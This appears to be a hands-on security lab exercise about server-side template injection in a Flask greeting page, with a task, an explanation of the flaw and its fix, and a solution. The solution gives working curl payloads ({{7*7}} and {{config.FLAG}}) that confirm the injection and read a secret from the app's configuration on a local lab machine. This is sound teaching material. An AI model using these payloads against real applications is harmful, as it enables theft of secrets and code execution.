Execute code through the greeting
The greeting page at /app/greet?name= is template-injectable. Confirm it evaluates template expressions, then read the secret flag the app keeps in its Flask configuration and save it under your home. (Use curl -g so the {} reach the server.)
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Solution explanation
{{7*7}} coming back as 49 proved the server was evaluating your input as a template, and from there {{config.FLAG}} handed over a secret — the same reach that leads to full code execution. Template injection happens whenever user input becomes part of the template source; keep data in context variables and render fixed templates, and the injection has nowhere to run.
Show solution
cd /home/student
# confirm expressions are evaluated server-side
curl -sg 'http://127.0.0.1:8080/app/greet?name={{7*7}}'
# read the secret the app keeps in its Flask config
curl -sg 'http://127.0.0.1:8080/app/greet?name={{config.FLAG}}' | tee loot.txt